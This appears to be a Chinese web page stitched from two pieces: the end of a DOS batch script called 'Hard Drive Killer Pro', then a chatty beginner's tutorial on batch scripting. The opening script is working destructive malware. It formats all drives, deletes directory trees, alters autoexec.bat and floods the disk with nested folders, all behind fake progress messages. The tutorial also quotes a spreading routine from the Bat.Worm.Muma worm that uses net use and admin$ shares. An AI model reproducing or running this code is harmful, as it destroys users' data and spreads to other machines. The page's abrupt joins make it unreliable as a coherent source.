echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat

echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat

echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat

echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat

echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat

echo echo. >>c:/autoexec.bat

echo echo Regards, >>c:/autoexec.bat

echo echo. >>c:/autoexec.bat

echo echo Munga Bunga >>c:/autoexec.bat

call attrib +r +h c:/autoexec.bat

:makedir

if exist c:/temp.bat attrib -r -h c:/temp.bat >nul

echo @echo off >c:/temp.bat

echo %%1:/ >>c:/temp.bat

echo cd/ >>c:/temp.bat

echo :startmd >>c:/temp.bat

echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat

echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat

echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat

call attrib +r +h c:/temp.bat >nul

cls

echo Initializing Variables . . .

rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.

for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul

call attrib +r +h c:/temp.bat >nul

call attrib +r +h c:/autoexec.bat >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:/*. >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

echo Starting Application . . .

for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul

cls

echo Thank you for using a Munga Bunga product.

echo.

echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

echo.

echo Here is a joke for you . . .

echo.

echo Q). Whats the worst thing about being an egg?

echo A). You only get laid once.

echo.

echo HAHAHAHA, get it? Dont you just love that one?

echo.

echo Regards,

echo.

echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

No.7

七、致謝 & 一些廢話

謹以此文獻給所有爲實現網絡的自由與共享而努力的朋友們。感謝所有共享他們作品的朋友們,讓我們爲我們的理想一起努力!!

 

 

 

 

批處理相關知識 -1

批處理相關知識

 

這是一篇技術教程,我會用很簡單的文字表達清楚自己的意思,你要你識字就能看懂,就能學到知識。寫這篇教程的目的,是讓每一個看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那麼就讓它簡單吧!看這篇教程的方法,就是慢!慢慢的,如同品一個女人、一杯茗茶,你會發現很多以前就在眼前的東西突然變的很遙遠,而有些很遙遠的東西卻又突然回到了眼前。

   先概述一下批處理是個什麼東東。批處理的定義,至今我也沒能給出一個合適的 ---- 衆多高手們也都沒給出 ---- 反正我不知道 ---- 看了我也不一定信服 ---- 我是個菜鳥,當然就更不用說了;但我想總結出一個“比較合適的”,而且我也相信自己可以把它解釋的很清楚,讓更多的菜鳥都知道這是個什麼東東,你用這個東東可以幹什麼事情。或許你會因爲這篇文章而“無條件愛上批處理”,那麼我的目的就達到了 ---- 我就是要讓你愛上它,我就這麼拽,你能怎麼着??真的,愛有時候就這麼拽,就是這麼沒理由,就是這麼不要臉!真的!

   按照我的理解,批處理的本質,是一堆 DOS 命令按一定順序排列而形成的集合。

   OK,never claver and get to business (閒話少說言歸正傳)。批處理,也稱爲批處理腳本,英文譯爲 BATCH ,批處理文件後綴 BAT 就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就 ok 了:每一行可視爲一個命令,每個命令裏可以含多條子命令,從第一行開始執行,直到最後一行結束,它運行的平臺是 DOS 。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因爲牽纏到代碼(批處理的內容算是代碼吧?)的問題本來就是枯燥的,很少有人能面對滿屏幕的代碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎麼又是愛?到底批處理和愛有什麼關係?答案:沒有!)。再說句“閒話”:要學好批處理, DOS 基礎一定要牢!當然腦子靈活也是很重要的一方面。

  

   例一、先給出一個最 easy 的批處理腳本讓大家和它混個臉熟,將下面的幾行命令保存爲 name.bat 然後執行(以後文中只給出代碼,保存和執行方式類似):

ping sz.tencent.com > a.txt

ping sz1.tencent.com >> a.txt

ping sz2.tencent.com >> a.txt

ping sz3.tencent.com >> a.txt

ping sz4.tencent.com >> a.txt

ping sz5.tencent.com >> a.txt

ping sz6.tencent.com >> a.txt

ping sz7.tencent.com >> a.txt

exit

   是不是都能看的懂?是不是很 easy ?但它的作用卻是很實用的,執行這個批處理後,可以在你的當前盤建立一個名爲 a.txt 的文件,它裏面記錄的信息可以幫助你迅速找到速度最快的 QQ 服務器,從而遠離“從服務器中轉”那一痛苦的過程。這裏 > 的意思,是把前面命令得到的東西放到後面所給的地方, >> 的作用,和 > 的相同,區別是把結果追加到前一行得出的結果的後面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個 a.txt 文件越來越大(想到如何搞破壞了??)。 By the way ,這個批處理還可以和其他命令結合,搞成完全自動化判斷服務器速度的東東,執行後直接顯示速度最快的服務器 IP ,是不是很爽?後面還將詳細介紹。

   例二、再給出一個已經過時的例子( a.bat ):

@echo off

if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif

a.bat

   爲什麼說這是個過時的例子呢?很簡單,因爲現在已經幾乎沒有人用帶廣告的 QQ 了( KAO ,我的 QQ 還顯示好友三圍呢!!),所以它幾乎用不上了。但曾經它的作用是不可小窺的:刪除 QQ 的廣告,讓對話框乾乾淨淨。這裏用的地址是 QQ 的默認安裝地址,默認批處理文件名爲 a.bat ,你當然可以根據情況自行修改。在這個腳本中使用了 if 命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關閉命令執行後的 DOS 窗口,不按 CTRL+C 強行終止命令,它就一直監視是否有廣告圖片( QQ 也再不斷查看自己的廣告是否被刪除)。當然這個腳本佔用你一點點內存,呵呵。

   例三,使用批處理腳本查是否中冰河。腳本內容如下:

@echo off

netstat -a -n > a.txt

type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"

del a.txt

pause & exit

   這裏利用了 netstat 命令,檢查所有的網絡端口狀態,只需要你清楚常見木馬所使用的端口,就能很 easy 的判斷出來是否被人種了冰河。然這不是確定的,因爲冰河默認的端口 7626 ,完全可以被人修改。這裏介紹的只是方法和思路。這裏介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進去參數和端口及信息列表文件後,就變成自動檢測所有木馬的腳本了。呵呵,是不是很過癮?腳本中還利用了組合命令 && 和管道命令 | ,後面將詳細介紹。

   例四,借批處理自動清除系統垃圾,腳本如下:

@echo off

if exist c:/windows/temp/*.* del c:/windows/temp/*.*

if exist c:/windows/Tempor~1/*.* del c:/windows/Tempor~1/*.*

if exist c:/windows/History/*.* del c:/windows/History/*.*

if exist c:/windows/recent/*.* del c:/windows/recent/*.*

   將以上腳本內容保存到 autoexec.bat 裏,每次開機時就把系統垃圾給自動刪除了。這裏需要注意兩點:一、 DOS 不支持長文件名,所以就出現了 Tempor~1 這個東東;二、可根據自己的實際情況進行改動,使其符合自己的要求。

   怎麼樣,看到這裏,你對批處理腳本是不是已經有點興趣了?是不是發現自己已經慢慢愛上了這個東東?別高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和幸福,當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續的話, I 服了 YOU !繼續努力吧,也許到最後你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會到整個愛的過程,就是如此。 酸、苦和辣,有沒有甜天知道。

   爲什麼會把批處理和愛情扯上關係?不是我無聊,也不是因爲這樣寫有趣多少,原因有二:其一,批處理和愛情有很多相同的地方,有些地方我用“專業”的行話解釋不清(我不懷疑自己的表達能力,而是事情本身就不好說清楚),說了 = 沒說,但用地球人都知道的愛情一比喻(愛情是什麼?我 ** 怎麼知道!!),沒準你心裏一下就亮堂了,事半功倍,何樂而不爲?其二,我這段時間狀態不是很好,感冒發燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當買狗皮膏藥了,完全可以省略不看(也許還真有點效果 ---- 不至於讓你看着看着就睡着了,把頭磕了來找我報銷醫藥費)。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。

 

 

 

 

 

 

 

 

看過第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來幹什麼的了。但你知道運用批處理的精髓在哪裏嗎?其實很簡單:思路要靈活!沒有做不到的,只有想不到的。這和愛情就有點不同了,因爲愛情的世界是兩個人的世界,一廂情願不叫愛情(補充:那叫單戀。廢話!)而批處理卻是一個人的天堂,你可以爲所欲爲,沒有達不到的境界!

   批處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程序語言(如彙編)低,如果你寫的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執行到尾後,不一定得到你想要的結果,也許是一屏幕的 Bad command or fail name 。這又和愛情有了共同點:按步驟來經營,缺少或增多的步驟都可能導致不想看見的結果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理,輸出的結果不是 Bad command or fail name ,屏幕是這麼顯示的:‘你的愛情’不是內部或外部命令,也不是可運行的程序或批處理文件。然後就是光標不停閃動,等待這下一次錯誤的輸入。

   從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見 DOS 命令在批處理腳本中有這廣泛的應用,它們是批處理腳本的 BODY 部分,但批處理比 DOS 更靈活多樣,更具備自動化。要學好批處理, DOS 一定要有比較紮實的基礎。這裏只講述一些比較少用(相對來說)的 DOS 命令,常用命令如 COPY DIR 等就不做介紹了(這些看似簡單的命令實際複雜的很,我怕自己都說不清楚!)。

   例五,先看一個實例。這是一個很有意思的腳本,一個小巧實用的好東東,把批處理“自動化”的特點體現的淋漓盡致。先介紹一下這個腳本的來歷:大家都知道彙編程序( MASM )的上機過程,先要對源代碼進行彙編、連接,然後再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(只有經歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞彙編課程設計時,我“被逼”寫了這個腳本,用起來很爽,呵呵。看看腳本內容:

@echo off

::close echo

cls

::clean screen                                                          

echo            This programme is to make the MASM programme automate 

::display info

echo                           Edit by CODERED                    

::display info

echo                   Mailto me : qqkiller***@sina.com             

::display info

if "%1"=="" goto usage     

::if input without paramater goto usage

if "%1"=="/?" goto usage   

::if paramater is "/?" goto usage

if "%1"=="help" goto usage 

::if paramater is "help" goto usage

pause    

::pause to see usage

masm %1.asm   

::assemble the .asm code

if errorlevel 1 pause & edit %1.asm  

::if error pause to see error msg and edit the code

link %1.obj & %1      

::else link the .obj file and execute the .exe file

:usage                     

::set usage

echo Usage: This BAT file name [asm file name]

echo Default BAT file name is START.BAT

::display usage

   先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎麼寫的!!)。已經給出了每一行命令的解釋,兩個冒號後面的內容爲前一行內容解釋的 E 文(害怕 E 文的朋友也不用擔心,都很 easy ,一看就懂了,實在不懂了不會查詞典啊,這麼懶?),在腳本執行時不顯示,也不起任何作用。倒數第 5 行行首有一個冒號,可不是筆誤哦!具體作用後面會詳細講到。此腳本中 masm link 是彙編程序和連接程序,必須和 edit 程序以及你要編輯的源代碼(當然還有這個腳本,廢話!)一起在當前目錄中。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現從彙編源代碼到可執行 exe 文件的自動化轉換,並具備智能判斷功能:如果彙編時源代碼出現錯誤(彙編不成功),則自動暫停顯示錯誤信息,並在按任意鍵後自動進入編輯源代碼界面;如果源代碼彙編成功,則進行連接,並在連接後自動執行生成的 exe 文件。另外,由於批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學彙編的朋友,一定別忘了實習一下!

   在這個腳本中出現瞭如下幾個命令: @ echo :: pause : goto % 以及 if 。而這一章就將講述這幾個命令。

1 @

   這個符號大家都不陌生, email 的必備符號,它怎麼會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執行窗口中不顯示它後面這一行的命令本身(多麼繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的 @echo off 中, @ 的作用就是讓腳本在執行時不顯示後面的 echo off 部分。這下懂了吧?還是不太懂?沒關係,看完 echo 命令簡介,自然就懂了。

2 echo

   中文爲“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態:打開和關閉。於是就有了 echo on echo off 兩個命令了。直接執行 echo 命令將顯示當前 echo 命令狀態( off on )執行 echo off 將關閉回顯,它後面的所有命令都不顯示命令本身,只顯示執行後的結果,除非執行 echo on 命令。在例五中,首行的 @ 命令和 echo off 命令聯合起來,達到了兩個目的:不顯示 echo off 命令本身,不顯示以後各行中的命令本身。的確是有點亂,但你要是練習一下的話, 3 分鐘包會,不會的退錢!

   echo 命令的另一種用法一:可以用它來顯示信息!如例五中倒數第二行, Default BAT file name is START.BAT 將在腳本執行後的窗口中顯示,而 echo 命令本身不顯示(爲什麼??)。

   echo 命令的另一種用法二:可以直接編輯文本文件。例六:

echo nbtstat -A 192.168.0.1 > a.bat

echo nbtstat -A 192.168.0.2 >> a.bat

echo nbtstat -A 192.168.0.3 >> a.bat

    以上腳本內容的編輯方法是,直接是命令行輸入,每行一回車。最後就會在當前目錄下生成一個 a.bat 的文件,直接執行就會得到結果。

3 ::

  

   這個命令的作用很簡單,它是註釋命令,在批處理腳本中和 rem 命令等效。它後面的內容在執行時不顯示,也不起任何作用,因爲它只是註釋,只是增加了腳本的可讀性,和 C 語言中的 /* ………… */ 類似。地球人都能看懂,就不多說了。

4 pause

   中文爲“暫停”的意思(看看你的 workman 上),我一直認爲它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程序進程暫停一下,並顯示一行信息:請按任意鍵繼續 . . . 。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個是顯示錯誤的彙編代碼信息(其實不是它想顯示,而是 masm 程序在顯示錯誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪裏)。

5 : goto

   爲什麼要把這兩個命令聯合起來介紹?因爲它們是分不開的,無論少了哪個或多了哪個都會出錯。 goto 是個跳轉命令, : 是一個標籤。當程序運行到 goto 時,將自動跳轉到 : 定義的部分去執行了(是不是分不開?)。例五中倒數第 5 行行首出現一個 : ,則程序在運行到 goto 時就自動跳轉到 : 標籤定義的部分執行,結果是顯示腳本 usage usage 就是標籤名稱)。不難看出, goto 命令就是根據這個冒號和標籤名稱來尋找它該跳轉的地方,它們是一一對應的關係。 goto 命令也經常和 if 命令結合使用。至於這兩個命令具體用法,參照例五。

   goto 命令的另一種用法一:提前結束程序。在程序中間使用 goto 命令跳轉到某一標籤,而這一標籤的內容卻定義爲退出。如:

……

goto end

……

:end

  

   這裏 :end 在腳本最後一行!其實這個例子很弱智,後面講了 if 命令和組合命令你就知道了。

  

6 %

   這個百分號嚴格來說是算不上命令的,它只是批處理中的參數而已(多個 % 一起使用的情況除外,以後還將詳細介紹),但千萬別以爲它只是參數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了 51% 了。看看例七:

net use //%1/ipc$ %3 /u:"%2"

copy 11.BAT //%1/admin$/system32 /y

copy 13.BAT //%1/admin$/system32 /y

copy ipc2.BAT //%1/admin$/system32 /y

copy NWZI.EXE //%1/admin$/system32 /y

attrib //%1/admin$/system32/10.bat -r -h -s

   以上代碼是 Bat.Worm.Muma 病毒中的一部分, %1 代表的 IP 2% 代表的 username 3% 代表 password 。執行形式爲:腳本文件名 參數一 參數二 ……。假設這個腳本被保存爲 a.bat ,則執行形式如下: a IP username password 。這裏 IP username password 是三個參數,缺一不可(因爲程序不能正確運行,並不是因爲少了參數語法就不對)這樣在腳本執行過程中,腳本就自動用用你的三個參數依次(記住,是依次!也是一一對應的關係。)代換 1% 2% 3% ,這樣就達到了靈活運用的目的(試想,如果在腳本中直接把 IP username password 都定義死,那麼腳本的作用也就被固定了,但如果使用 % 的話,不同的參數可以達到不同的目的,是不是更靈活?)。

  

   關於這個參數的使用,在後續章節中還將介紹。一定要非常熟練纔行,這需要很多練習過程,需要下點狠工夫!

   這一章就寫到這裏了。可能有朋友問了:怎麼沒介紹 if 命令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點東西,如果你是初學者,恐怕也夠消化的了。記住一句話: DOS 是批處理的 BODY ,任何一個 DOS 命令都可以被用在批處理腳本中去完成特定的功能。到這裏,你是否已經想到了用自己肚子裏的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個 DOS 命令的集合而已,相信自稱爲天才的你已經會把計算機等級考試上機試題中的 DOS 部分用批處理來自動化完成了。

  

   煩!就好象一個半老女人到了更年期,什麼事都想嘮叨幾句,什麼事都感到不舒服,看誰誰不爽。明知山有虎,偏向虎山行,最後留下一身傷痕無功而返時,才發現自己竟然如此脆弱,如此渺小,如此不堪一擊。徘徊在崩潰的邊緣,突然回想起了自己最後一次扁人的那一刻,還真有點懷念(其實我很不喜歡扁人,更不喜歡被人扁)。我需要發泄,我用手指拼命的敲打着鍵盤,在一陣接一陣有節奏的聲音中,屏幕上出現了上面的這些文字。可難道這就是發泄的另一種方式嗎?中國人還是厲害,早在幾千年前孔老夫子就說過“唯女子與小人,難養也”,真 ** 有先見之明,佩服!雖然是在發泄,不過大家請放心,以我的脾氣,既然決定寫這篇教程,就一定會盡力去寫好,寫完美,絕對不給自己留下遺憾,要不這教程就不是我寫的!

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章